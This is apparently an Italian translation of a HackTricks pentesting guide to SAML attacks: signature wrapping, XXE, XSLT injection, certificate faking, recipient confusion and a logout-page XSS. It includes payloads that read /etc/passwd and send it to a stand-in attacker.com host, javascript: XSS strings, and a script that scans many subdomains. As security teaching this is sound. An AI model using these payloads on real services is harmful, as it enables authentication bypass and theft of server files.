hacktricks/pentesting-web/saml-attacks/README.md

SAML Attacks

SAML Attacks

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.

{% endhint %}

Basic Information

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Tool

SAMLExtractor: Uno strumento che può prendere un URL o un elenco di URL e restituisce l'URL di consumo SAML.

XML round-trip

In XML la parte firmata dell'XML è salvata in memoria, poi viene eseguita una codifica/decodifica e la firma viene controllata. Idealmente, quella codifica/decodifica non dovrebbe cambiare i dati, ma basandosi su quel scenario, i dati controllati e i dati originali potrebbero non essere gli stessi.

Per esempio, controlla il seguente codice:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Eseguire il programma contro REXML 3.2.4 o versioni precedenti produrrebbe invece il seguente output:

First child in original doc: Y
First child after round-trip: Z

Questo è come REXML ha visto il documento XML originale dal programma sopra:

E questo è come lo ha visto dopo un giro di parsing e serializzazione:

Per ulteriori informazioni sulla vulnerabilità e su come abusarne:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Attacchi di XML Signature Wrapping

Negli attacchi di XML Signature Wrapping (XSW), gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: validazione della firma e invocazione della funzione. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante inietta elementi falsificati che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla logica dell'applicazione e quelli controllati dal modulo di verifica della firma. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli elementi fraudolenti. Di conseguenza, l'attaccante bypassa efficacemente la protezione dell'integrità e l'autenticazione dell'origine della Firma XML, consentendo l'iniezione di contenuti arbitrari senza rilevamento.

I seguenti attacchi si basano su questo post del blog e questo documento. Quindi controllali per ulteriori dettagli.

XSW #1

• Strategia: Viene aggiunto un nuovo elemento radice contenente la firma.
• Implicazione: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "Response -> Assertion -> Subject" malvagio dell'attaccante, portando a problemi di integrità dei dati.

XSW #2

• Differenza da XSW #1: Utilizza una firma staccata invece di una firma avvolgente.
• Implicazione: La struttura "malvagia", simile a XSW #1, mira a ingannare la logica aziendale dopo il controllo dell'integrità.

XSW #3

• Strategia: Viene creata un'asserzione malvagia allo stesso livello gerarchico dell'asserzione originale.
• Implicazione: Intende confondere la logica aziendale nell'utilizzare i dati malevoli.

XSW #4

• Differenza da XSW #3: L'asserzione originale diventa un figlio dell'asserzione duplicata (malvagia).
• Implicazione: Simile a XSW #3 ma altera la struttura XML in modo più aggressivo.

XSW #5

• Aspetto Unico: Né la Firma né l'asserzione originale aderiscono a configurazioni standard (avvolta/avvolgente/staccata).
• Implicazione: L'asserzione copiata avvolge la Firma, modificando la struttura del documento attesa.

XSW #6

• Strategia: Inserimento in una posizione simile a XSW #4 e #5, ma con una variazione.
• Implicazione: L'asserzione copiata avvolge la Firma, che poi avvolge l'asserzione originale, creando una struttura ingannevole annidata.

XSW #7

• Strategia: Viene inserito un elemento Extensions con l'asserzione copiata come figlio.
• Implicazione: Questo sfrutta lo schema meno restrittivo dell'elemento Extensions per bypassare le contromisure di validazione dello schema, specialmente in librerie come OpenSAML.

XSW #8

• Differenza da XSW #7: Utilizza un altro elemento XML meno restrittivo per una variante dell'attacco.
• Implicazione: L'asserzione originale diventa un figlio dell'elemento meno restrittivo, invertendo la struttura utilizzata in XSW #7.

Strumento

Puoi utilizzare l'estensione Burp SAML Raider per analizzare la richiesta, applicare qualsiasi attacco XSW tu scelga e lanciarlo.

XXE

Se non sai che tipo di attacchi sono XXE, ti preghiamo di leggere la seguente pagina:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Le risposte SAML sono documenti XML deflazionati e codificati in base64 e possono essere suscettibili ad attacchi di XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Puoi anche utilizzare l'estensione di Burp SAML Raider per generare il POC da una richiesta SAML per testare possibili vulnerabilità XXE e vulnerabilità SAML.

Controlla anche questo intervento: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Per ulteriori informazioni su XSLT vai a:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Le trasformazioni del Linguaggio di Stile Estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autofirmata o non valida è sufficiente per procedere.

Qui puoi trovare un POC per controllare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare i payload.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Puoi anche utilizzare l'estensione Burp SAML Raider per generare il POC da una richiesta SAML per testare possibili vulnerabilità XSLT.

Controlla anche questo intervento: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

L'XML Signature Exclusion osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento è mancante, la validazione della firma potrebbe non avvenire, rendendolo vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.

Tool

Puoi anche utilizzare l'estensione Burp SAML Raider. Intercetta la risposta SAML e clicca su Remove Signatures. In questo modo tutti gli elementi Signature vengono rimossi.

Con le firme rimosse, consenti alla richiesta di procedere verso il target. Se la firma non è richiesta dal Servizio

Certificate Faking

Certificate Faking

Il Certificate Faking è una tecnica per testare se un Service Provider (SP) verifica correttamente che un messaggio SAML sia firmato da un Identity Provider (IdP) fidato. Comporta l'uso di un *certificato autofirmato per firmare la risposta o l'asserzione SAML, il che aiuta a valutare il processo di validazione della fiducia tra SP e IdP.

Come Condurre il Certificate Faking

I seguenti passaggi delineano il processo utilizzando l'estensione Burp SAML Raider:

1. Intercetta la risposta SAML.
2. Se la risposta contiene una firma, invia il certificato a SAML Raider Certs utilizzando il pulsante Send Certificate to SAML Raider Certs.
3. Nella scheda Certificati di SAML Raider, seleziona il certificato importato e clicca su Save and Self-Sign per creare un clone autofirmato del certificato originale.
4. Torna alla richiesta intercettata nel Proxy di Burp. Seleziona il nuovo certificato autofirmato dal menu a discesa XML Signature.
5. Rimuovi eventuali firme esistenti con il pulsante Remove Signatures.
6. Firma il messaggio o l'asserzione con il nuovo certificato utilizzando il pulsante (Re-)Sign Message o (Re-)Sign Assertion, a seconda dei casi.
7. Inoltra il messaggio firmato. L'autenticazione riuscita indica che lo SP accetta messaggi firmati dal tuo certificato autofirmato, rivelando potenziali vulnerabilità nel processo di validazione dei messaggi SAML.

Token Recipient Confusion / Service Provider Target Confusion

La Token Recipient Confusion e la Service Provider Target Confusion comportano il controllo se il Service Provider valida correttamente il destinatario previsto di una risposta. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se era destinata a un provider diverso. L'elemento critico qui è il campo Recipient, presente all'interno dell'elemento SubjectConfirmationData di una risposta SAML. Questo campo specifica un URL che indica dove deve essere inviata l'asserzione. Se il destinatario effettivo non corrisponde al Service Provider previsto, l'asserzione dovrebbe essere considerata non valida.

Come Funziona

Affinché un attacco di Token Recipient Confusion (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esserci un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.

Il processo di attacco è semplice in queste condizioni. Una sessione autentica viene avviata con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dall'accettazione dell'asserzione da parte di SP-Target, concedendo accesso alle risorse sotto lo stesso nome account utilizzato per SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS nella funzionalità di Logout

La ricerca originale può essere consultata tramite questo link.

Durante il processo di brute forcing delle directory, è stata scoperta una pagina di logout a:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Al momento dell'accesso a questo link, si è verificato un reindirizzamento a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Questo ha rivelato che il parametro base accetta un URL. Considerando ciò, è emersa l'idea di sostituire l'URL con javascript:alert(123); nel tentativo di avviare un attacco XSS (Cross-Site Scripting).

Sfruttamento di Massa

Da questa ricerca:

Lo strumento SAMLExtractor è stato utilizzato per analizzare i sottodomini di uberinternal.com per i domini che utilizzano la stessa libreria. Successivamente, è stato sviluppato uno script per mirare alla pagina oidauth/prompt. Questo script testa per XSS (Cross-Site Scripting) inserendo dati e controllando se vengono riflessi nell'output. Nei casi in cui l'input viene effettivamente riflesso, lo script segnala la pagina come vulnerabile.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Riferimenti

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.

{% endhint %}